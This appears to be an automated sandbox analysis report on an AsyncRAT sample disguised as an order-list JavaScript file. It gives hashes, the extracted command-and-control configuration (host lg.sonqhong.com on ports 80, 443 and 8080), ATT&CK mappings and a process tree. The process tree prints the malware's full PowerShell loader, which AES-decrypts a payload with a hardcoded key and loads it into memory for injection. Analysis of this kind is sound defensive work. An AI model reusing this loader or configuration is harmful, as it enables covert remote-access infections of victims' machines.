asyncrat | 11b98593366ff6a3b4d3be660b9ef4ff3db9792360f74cb81c5e30ea1d7f35e4

General

Target
Rian Pending Order List.js
Size 5.2MB
Sample261009-sdkjjay16n
SHA256 11b98593366ff6a3b4d3be660b9ef4ff3db9792360f74cb81c5e30ea1d7f35e4
MD5 6277a25fcf38ec47bab4f591fce3f27d
SHA1 d5c6d5d831aeeb8ce755879169619ad169158844
SHA512 b83eca11fef7991aaf2e395348d1e52e8378cfaf74615b6ec75cb1146b63806a6b96f8f2863c9d42c90b8cadc197eace6837550ff2b305d12f2dbd0e4c10a2fa
SSDEEP 384:ygJxkfrkWmad6laP69EUzXki6b82GuR1rApwQ6VE6T0r4i3ldUaUtNvPMG4ph96A:6yI0p
TLSH
T132465F3871EA07242F50F8C50E1D3EC342AFF449E2B55BF99B277C7852164983ACD9A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence rat suricata

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

lg.sonqhong.com:80
lg.sonqhong.com:443
lg.sonqhong.com:8080

Mutex

8KlUBhFQHvym

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs

Network activity triggered a Suricata alert

suricata asyncrat

flow	pid	Process
28	2408	RegAsm.exe
28	2408	RegAsm.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2544	1572	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	2544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2544 set thread context of 2408	2544	powershell.exe	99

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RegAsm.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2544	powershell.exe
2544	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2408	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
996	conhost.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 2084	996	conhost.exe	94
PID 2544 wrote to memory of 2408	2544	powershell.exe	99
PID 2544 wrote to memory of 2408	2544	powershell.exe	99
PID 2544 wrote to memory of 2408	2544	powershell.exe	99
PID 2544 wrote to memory of 2408	2544	powershell.exe	99
PID 2544 wrote to memory of 2408	2544	powershell.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Rian Pending Order List.js"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:5028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "$encraty=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$hickway=[Text.Encoding]::UTF8.GetBytes('SuaChaveAqui32BytesExemplo123456');$impenitency=[Text.Encoding]::UTF8.GetBytes('1234567890123456');$Lucania=[Convert]::FromBase64String($encraty);$lookouts=[Security.Cryptography.Aes]::Create();$lookouts.Key=$hickway;$lookouts.IV=$impenitency;$braulid=$lookouts.CreateDecryptor();$Macedonia=$braulid.TransformFinalBlock($Lucania,0,$Lucania.Length);[AppDomain]::CurrentDomain.Load($Macedonia)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('ryrFC/IRBlM2WhlRhQL4/6Uqh8H7pprTQemw74az/jkWN+Lsai208QsrUYSzoQaSqZdq92JyQQS1+PgE+C6Zow==','wINAOQHjTjPbDBv0KQ7hUNWDKX5nH7pGBH0kOc1khTo=','Y4ioO+IpkY/tDNnoreVQcjwn1YOjqZSrargtjOmTP31sjhQEATJ58FjKcn6wfwd+','Kd9cPYMXiFWWegwzLY1mNw/XfHdMNTMXt59gPERaF/w=','fe+mxFt3DvqaDgJTyXBcMmFZ6fv0aR5ZaOopPE/extU=','B/bdnwyPyVYx89O6DQtqwk+AIOCAmc7FwJQ2pG01svY=','HnmsJz8bEhaVzeDZWBD55qeZhUo0+Qaj5SsKVP6rnbk=','aQiR+iDcVvPVpgiRluRkqJxOMQUY5D4N8ujOFWLD42A=','','VeVq+IRsDNZU+5A6RzVcC6d/rnPoaMBxkqTpGP8KrnYw+7/gdkQEmugidDmAp/8h','yGWFa3jNfL+yu9GiC/O7/+LedTNq9FOc4ngrhGz9kQ4=','jPSEBw+kq5ksOlD0tPBpzW6cnVj5FLQNP/uTePf11Ls=','dFf8F4NNHF7RAcOsBOR2lt+Spc0Ny5jGewuL1Lw2j+0=','oP7QGyYLyAlX4qI2geC4GFO/9lGMs9kr4Wz+BQnnLuA=','irU6IO9AI3jLsHhxv4RRBdEJjnOJo5KhDHmJ/PY/MCQ=','i0XrQMzJ3ec39wP3NDTjwGAGjlMhU/tFL6Dwm27rvkk=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2408

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:2084

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_hfdtomsp.tkd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfdtomsp.tkd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2408-11-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/2408-16-0x0000000005B90000-0x0000000005C2C000-memory.dmp

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memory/2408-17-0x00000000061E0000-0x0000000006784000-memory.dmp

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memory/2408-18-0x0000000005CA0000-0x0000000005D06000-memory.dmp

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memory/2544-1-0x0000022CE9C50000-0x0000022CE9C60000-memory.dmp

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memory/2544-0-0x0000022CE9C50000-0x0000022CE9C60000-memory.dmp

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memory/2544-7-0x0000022CE9C10000-0x0000022CE9C32000-memory.dmp

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memory/2544-10-0x0000022CE9BE0000-0x0000022CE9C04000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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